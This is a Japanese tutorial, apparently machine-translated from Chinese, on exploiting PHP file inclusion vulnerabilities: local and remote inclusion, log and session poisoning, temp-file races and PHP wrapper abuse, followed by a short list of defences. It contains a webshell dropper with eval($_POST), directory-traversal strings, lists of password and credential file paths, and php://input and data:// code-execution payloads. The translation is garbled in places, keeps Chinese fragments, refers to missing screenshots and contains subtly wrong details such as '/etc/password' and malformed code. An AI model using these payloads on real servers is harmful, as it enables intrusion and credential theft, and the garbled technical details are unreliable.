ファイルには脆弱性の概要が含まれています
1. ファイルインクルード脆弱性とは何ですか
1. ファイルインクルージョン脆弱性の概要
ファイルインクルージョン脆弱性も、SQL インジェクションなどの攻撃手法と同様に、ユーザーが制御できるスクリプトやコードを入力してサーバーに実行させるインジェクション型脆弱性です。
インクルージョンとは何ですか? PHPを例に挙げると、再利用可能な関数を一つのファイルに記述することが多く、その関数を使用する際に、再度関数を記述せずにそのファイルを直接呼び出すことをインクルージョンと呼びます。
Web サイトの機能要件により、フロントエンド ユーザーは含めるファイルを選択できる場合がありますが、開発者は含めるファイルのセキュリティを考慮していないため、攻撃者はファイルの場所を変更することができます。ファイルを使用すると、バックグラウンドで任意のファイルを実行できるようになり、ファイルには脆弱性が含まれます。
PHP を例に挙げると、一般的に使用されるファイルには、
include()、require()、include_once()、require_once() の4 つの関数が含まれています。
違いは次のとおりです。
- require(): インクルードされたファイルが見つからない場合、致命的なエラーが生成され、スクリプトの実行が停止されます。
- include(): インクルードされたファイルが見つからない場合は、警告のみが生成され、スクリプトは実行を続行します。
- require_once() は require() に似ています。唯一の違いは、ファイルのコードが既にインクルードされている場合、再度インクルードされないことです。
- include_once() は include() に似ています。唯一の違いは、ファイルのコードが既にインクルードされている場合、再度インクルードされないことです。
2. 脆弱性分析
まず簡単な例を見てみましょう。Web ページのコードは次のとおりです。
<?php
include $_GET['test'];
?>
phpinfo.php ページを作成するときのコードは次のとおりです。
<?php
phpinfo();
?>
ファイルインクルードを使用して、include 関数を通じて phpinfo.php ページを実行し、正常に解析します。phpinfo.php ファイルの
サフィックスを txt に変更した後でも、引き続き解析できます:
phpinfo.php ファイルのサフィックスを jpg 形式に変更します。また、解析することもできます:
はい include() 関数は、含まれるファイルの種類を気にせず、php コードが存在する限り解析されることがわかります。
前回のファイルアップロードの脆弱性のまとめでは、一文のトロイの木馬をjpg形式でアップロードしましたが、Webサイトに脆弱性を含むファイルが存在すると、jpgファイルはphpファイルとして解析されてしまうため、ファイル アップロードの脆弱性は、通常、ファイル アップロードと連携して使用されます。
次に、phpinfo.jpg のコンテンツをテキストの段落に変更します。hello world!
もう一度アクセスすると、テキストのコンテンツを読むことができます
。この機能を使用すると、機密情報を含むファイルを読み取ることができます。
2. ローカル ファイル インクルードの脆弱性 (LFI)
ローカル ファイルを開いて含める可能性がある脆弱性は、ローカル ファイル インクルージョンの脆弱性 (LFI) と呼ばれます。
テスト ページには次のコードが含まれています。
<?php
$file=$_GET['filename'];
include($file);
?>
この Web サイトは、ファイル インクルード関数を使用して、phpinfo などのいくつかの php ファイルを読み取ります。
このコードを使用すると、システム内の一部の機密情報をローカルで読み取ることができます。
例:C:\Windows\system.ini
ファイル。
(1) 絶対パスを使用する
直接読み取るには絶対パスを使用します。
(2) 相対パスを使用して読み取る スルー
./ は現在の場所のパスを示し、 .../ は上位レベルのパスの場所を示します。これは Linux にも当てはまります。 。
たとえば、現在のページが配置されているパスは C:\Apache24\htdocs\ です。アクセスするには .../ を使用して C ドライブに戻る必要があり、構築パスは次のとおりです。
../../windows/system.ini
私の環境はDドライブ上に構築されているため、ここでは説明しません。
(3) 一般的な機密ディレクトリ情報のパス:
Windows システム:
- C:\boot.ini //システムバージョンの表示
- C:\windows\system32\inetsrv\MetaBase.xml //IIS 構成ファイル
- C:\windows\repair\sam //Windows システムの初回インストール時のパスワードを保存します
- C:\ProgramFiles\mysql\my.ini //Mysql 構成
- C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL ルート暗号
- C:\windows\php.ini //php 設定情報
Linux/Unix システム:
- /etc/password //アカウント情報
- /etc/shadow //アカウントのパスワード情報
- /usr/local/app/apache2/conf/httpd.conf //Apache2 デフォルト設定ファイル
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf //仮想 Web サイトの構成
- /usr/local/app/php5/lib/php.ini //PHP 関連の設定
- /etc/httpd/conf/httpd.conf //Apache 設定ファイル
- /etc/my.conf //mysql 設定ファイル
3. LFI 脆弱性悪用スキル
1. ファイルアップロードで利用する
ファイル アップロードの脆弱性が見つからず、Web シェルをアップロードできない場合がありますが、まず Web シェルをイメージ形式でサーバーにアップロードし、次にローカル ファイルを使用して解析用の脆弱性を含めることができます。
DVWA プラットフォームを例として、セキュリティ レベルに「低」を選択し、絵馬を編集すると、その内容は次のようになります。
<?php
fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>
アップロードするアップロード ポイントを見つけます。
ファイルを保存するための完全なパスは次のとおりです。
DVWA プラットフォーム上の低レベル ファイルには、次のような脆弱性ページが含まれています。
このページは、C:\phpStudy\WWW\vulnerabilities\fi\ のパスにあるファイルを読み取るために使用され、コードは次のとおりです。
このページを使用して、アップロードした馬の画像を実行します
URL は次のように構成されており、コードは正常に解析されます。ここで使用した phpinfo はテスト用に使用されており、実際の戦闘は上で書いた一文のトロイの木馬に直接置き換えることができます。
注: webshell.jpg にトロイの木馬の文を直接記述し、ファイルに含まれる抜け穴を通って webshell.jpg に接続することもできますが、この方法では webshell の機能が異常になる場合があります。そこで、上記の方法を選択して .php 形式で一文のトロイの木馬を生成し、接続します。
2. Apache ログ ファイルを含める
Web サイトにファイルが含まれる脆弱性があるにもかかわらず、ファイルのアップロード ポイントがない場合があります。現時点では、Apache のログ ファイルを使用して、一文のトロイの木馬を生成することもできます。
ユーザーがリクエストを開始すると、サーバーはリクエストを access.log に書き込み、エラーが発生すると、エラーを error.log に書き込みます。ログ ファイルは次のとおりです
。 `http://127.0.0.1/phpinfo.php としてアクセスすると、次の図に示すようにアクセス ログが記録されます。
存在しないリソースにアクセスした場合も記録されます。
127.0.0.1<?php phpinfo();?>
Web ページには 403 が表示されます
が、ログを確認すると、次のように正常に記録され、
エンコードされていることがわかります。再度アクセスし、burp を使用してパケットをキャプチャすると、パケットがエンコードされていることがわかります
。メッセージを返して再度送信します:
このとき、アクセス ログを確認し、PHP コードを正しく記述します:
次に、脆弱性を含むローカル ファイル経由でアクセスし、実行します。
ここにトロイの木馬の文を記述して、次を使用します。接続する Web シェル管理ツール。
3.SESSIONファイルをインクルードします。
まず試行に従って SESSION ファイルに組み込み、次にファイルの内容に従って制御可能な変数を見つけ、ペイロードを構築してファイルに挿入し、最後にそれを組み込みます。
利用条件:
- セッション内で制御可能な変数を見つける
- セッション ファイルは読み取りおよび書き込み可能であり、ストレージ パスが認識されています。
phpのセッションファイルの保存パスはphpinfoのsession.save_pathで確認できます。
セッション共通ストレージパス:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- セッション ファイルの形式: sess_[phpsessid]、phpsessid は、送信されたリクエストの cookie フィールドで確認できます。
関連するケースについては、この CTF 質問を参照してください。CTF 質問: PHP ファイルには次の内容が含まれています。
4. 一時ファイルを含める
php でファイルをアップロードすると、一時ファイルが作成されます。Linux では /tmp ディレクトリを使用し、Windows では C:\windows\temp ディレクトリを使用します。一時ファイルが削除される前に、時間競争によって一時ファイルを含めることができます。
include はインクルードのファイル名を知る必要があるため。Linux で使用されるランダム関数には欠陥がありますが、Windows では異なるファイル名が 65,535 個しかないため、この方法は実行可能です。
もう 1 つの方法は、phpinfo ページの php 変数と連携して、アップロードされたファイルの保存パスと一時ファイル名を直接取得し、それを直接インクルードすることです。
この方法は、PHHPInfo Assistance を使用した LFIを参照できますが、これは一時ファイルの存在を使用し、それらを含める時間を競うことに似ています。CTF の質問: XMAN Summer Camp-2017-babyweb-writeup
を参照してください。
4. リモート ファイル インクルード (RFI)
PHP の設定オプションallow_url_include
とステータスallow_url_fopen
が ON の場合、include/require関数はリモート ファイルを読み込むことができます。この種の脆弱性はリモート ファイル インクルージョン (RFI) と呼ばれます。
まず、コードを見てみましょう
<?php
$path=$_GET['path'];
include($path . '/phpinfo.php');
?>
ローカル サイトのディレクトリにある phpinfo.php ファイルにアクセスします。
このページは $path でフィルタリングを行わないため、ファイルが含まれる脆弱性があります。
リモート Web サーバーの /site/ ディレクトリに test.php ファイルを作成します。内容は phpinfo() で、ループホールを使用してこのファイルを読み取ります。
ただし、コードは入力したパスにサフィックス '/phpinfo.php' を追加します。php のバージョンが 5.3.4 未満の場合は、%00 を使用して切り詰めることができます。ここでは、php のバージョンは 7.3.4 です。 、これは適用されません。
もう 1 つの切り捨て方法は、? 番号で切り捨てることです。パスの後に ? 番号を入力すると、サーバーは ? 番号の後のコンテンツであると認識します。
test.php が悪意のある WebShell ファイルである場合、この脆弱性が悪用されてサーバー権限が取得される可能性があります。
5、PHP疑似プロトコル
PHP には、fopen()、copy()、file_exists()、filesize() などのファイル システム関数に使用できる組み込みの URL スタイル ラッパーが多数あります。
次のように
1. file://プロトコル
file://は、ローカル ファイル システムにアクセスするために使用され、通常は CTF でローカル ファイルを読み取るために使用され、allow_url_fopen およびallow_url_include の影響を受けません。 file
:// [ファイルの絶対パスとファイル名]
2.php://プロトコル
php://filter
php:// はさまざまな入出力ストリーム (I/O ストリーム) にアクセスし、 php://filter はphp://input
ソース コードを読み取るためにCTF でよく使用されます。
php://input は、php コードを実行するために使用されます。
php://filter はソース コードを読み取り、base64 でエンコードされた出力を実行します。それ以外の場合、php コードとして直接実行され、ソース コードの内容は表示されません。
利用条件:
- allow_url_fopen :オフ/オン
- allow_url_include:オフ/オン
たとえば、一部の機密情報は php ファイルに保存されます。そのファイルを直接使用して php ファイルを開くと、php コードはページに表示されません。たとえば、現在のディレクトリにある 2.php を開きます。
ステートメントのみを示していますが、この時点では、指定されたファイルのソース コードを Base64 エンコーディングで読み取ることができます。
php://filter/convert.base64-encode/resource=文件路径
2.php の暗号化されたソース コードを取得するための入力:
次に、base64 デコードを実行して 2.php の完全なソース コード情報を取得します。php
://input は、要求された元のデータの読み取り専用ストリームにアクセスし、そのデータを使用できます。 post リクエストで PHP コードとして実装します。受信パラメータをファイル名で開く場合、パラメータをphp://inputに設定し、設定したいファイルの内容をポストすると、PHP実行時にポスト内容がファイルの内容とみなされます。その結果、任意のコードが実行されることになります。
利用条件:
- allow_url_fopen :オフ/オン
- allow_url_include:オン
この方法を使用すると、php ファイルを直接記述してそれを入力しfile=php://input
、burp を使用してパケットをキャプチャし、php コードを記述することができます。
メッセージを送信すると、一文のトロイの木馬がローカルに生成されることがわかります。
3. ZIP:// プロトコル
zip://は、圧縮パッケージ内のファイルにアクセスできます。include 関数と組み合わせると、zip:// ストリームが php ファイルとして実行されます。これにより、任意のコードの実行が可能になります。
- zip:// には絶対パスのみを渡すことができます。
- # を使用して圧縮パッケージと圧縮パッケージ内のコンテンツを分割します。# は %23 に URL エンコードする必要があります (つまり、次の POC では、# を %23 に置き換える必要があります)。
- zip 圧縮したパッケージであればよく、拡張子名は任意に変更可能です。
- 同じ型に zlib:// と bzip2:// もあります
利用条件:
- allow_url_fopen :オフ/オン
- allow_url_include:オフ/オン
POC は次のとおりです。
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
4.data://プロトコル
data://は、ユーザーが入力ストリームを制御できる php://input と似ており、 include 関数と組み合わせると、ユーザーが入力した data:// ストリームが php ファイルとして実行されます。その結果、任意のコードが実行されることになります。
data:// 擬似プロトコルを使用すると、phpinfo() 関数の実行など、PHP コードを実行する効果を直接実現できます。次の
条件を使用します。
- allow_url_fopen :オン
- allow_url_include:オン
POC は次のとおりです。
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
5. 擬似プロトコルの利用条件
疑似プロトコルを使用する方法はたくさんあるため、ここでは例を示しません。
擬似プロトコルの使用方法の概要
6. ファイルには脆弱性保護が含まれています
1. str_replaceおよびその他のメソッドを使用して危険な文字を除外する
2. ディレクトリトラバーサルを防ぐように open_basedir を設定します ( open_basedir は、php が開くことができるファイルを指定されたディレクトリ ツリーに制限します)。
3. %00 が切り捨てられないように、php のバージョンがアップグレードされます。
4. アップロードされたファイルの名前を変更して、読み取られないようにします。
5. 動的に組み込まれるファイルにはホワイトリストを設定でき、ホワイトリストに登録されていないファイルは読み取られません。
6. 管理者権限の分割を適切に行い、ファイル権限の管理を適切に行い、allow_url_include とallow_url_fopen の権限を最小限に抑える